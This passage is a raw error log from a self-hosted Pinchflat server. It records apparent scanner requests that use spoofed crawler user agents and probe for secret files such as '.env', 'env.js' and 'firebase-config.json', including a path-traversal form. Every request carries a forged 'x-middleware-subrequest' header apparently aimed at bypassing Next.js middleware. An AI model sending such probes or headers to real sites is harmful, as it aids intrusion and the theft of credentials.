8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/v1/settings (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29802.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/v1/settings", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34530}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, (truncated) 16:49:09.520 [info] GET /js../.env 16:49:09.520 [debug] QUERY OK source="settings" db=0.0ms idle=111.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.520 [debug] QUERY OK source="settings" db=0.0ms idle=21.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.520 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:09.520 [error] #PID<0.29805.0> running PinchflatWeb.Endpoint (connection #PID<0.29804.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /js../.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /js../ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29804.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/js../.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34532}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29805.0>, params: %{}, path_info: ["js..", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/js../.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61inzIShEBicABwch"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29804.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/js../.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34532}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /js../ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29804.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/js../.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34532}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", (truncated) 16:49:09.522 [info] GET /settings.json 16:49:09.522 [debug] Processing with PinchflatWeb.Settings.SettingController.show/2 Parameters: %{} Pipelines: [:browser] 16:49:09.522 [debug] QUERY OK source="settings" db=0.0ms idle=23.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.522 [debug] QUERY OK source="settings" db=0.0ms idle=16.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.522 [debug] QUERY OK source="settings" db=0.0ms idle=16.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.523 [debug] QUERY OK source="settings" db=0.0ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.523 [info] Sent 200 in 1ms 16:49:09.541 [info] GET /env.js 16:49:09.541 [debug] QUERY OK source="settings" db=0.0ms idle=20.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.541 [debug] QUERY OK source="settings" db=0.0ms idle=18.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.541 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:09.542 [info] GET /firebase-config.json 16:49:09.541 [error] #PID<0.29809.0> running PinchflatWeb.Endpoint (connection #PID<0.29808.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /env.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29808.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/env.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34554}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29809.0>, params: %{}, path_info: ["env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/env.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61isxQYdmcLsABwdB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29808.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/env.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34554}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29808.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/env.js", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34554}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, pa (truncated) 16:49:09.542 [debug] QUERY OK source="settings" db=0.0ms idle=19.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.542 [debug] QUERY OK source="settings" db=0.0ms idle=19.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.542 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:09.542 [error] #PID<0.29811.0> running PinchflatWeb.Endpoint (connection #PID<0.29810.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /firebase-config.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /firebase-config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29810.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/firebase-config.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34558}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29811.0>, params: %{}, path_info: ["firebase-config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/firebase-config.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61itFeERqzSAABwdh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29810.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/firebase-config.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34558}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /firebase-config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29810.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/firebase-config.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34558}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: (truncated) 16:49:09.644 [info] GET /env.json 16:49:09.645 [debug] QUERY OK source="settings" db=0.1ms idle=121.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:09.645 [debug] QUERY OK source="settings" db=0.0ms idle=103.8ms 